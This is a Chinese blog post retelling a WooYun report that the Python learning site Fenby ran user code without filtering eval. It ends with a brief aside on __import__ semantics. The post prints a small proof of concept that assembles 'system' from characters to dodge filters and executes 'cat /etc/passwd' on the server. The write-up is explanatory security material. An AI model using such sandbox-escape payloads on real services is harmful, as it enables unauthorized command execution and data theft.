有意思的python***案例

今天在wooyun里看到一个有意思的漏洞。说它有意思,第一是思路很特别,当然也是因为安全做的很low,第二里面使用的python的poc有个小细节,特此分享一下。


网站叫Fenby网,主要是为了pythoner在线学习的,它有一个在线练习的功能,可以输入代码,然后执行,测试运行结果。。。

于是楼主就注册了一个账号,URL:http://www.fenby.com/course/units/xxxx

然后输入如下一段恶意代码:

import string

s = ["s","y","s","t","e","m"]

s = "".join(s)

cmd = "cat /etc/passwd"

code = "__import__('os')." + s + "('" + cmd + "')"

eval(code)


于是就这样了。。。

wKioL1VN6AWiXCoBAAGITIL72WQ123.jpg

这里我想说两点,第一造成漏洞的原因是没有过滤eval,第二代码里使用的import和__import__的不同。

import其实是调用的__import__但是如果直接写成 code = "__import__('package.module')",它的意思就不是说:import package.module as package

When the name variable is of the form package.module, normally, the top-level package (the name up till the first dot) is returned, not the module named by name.


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值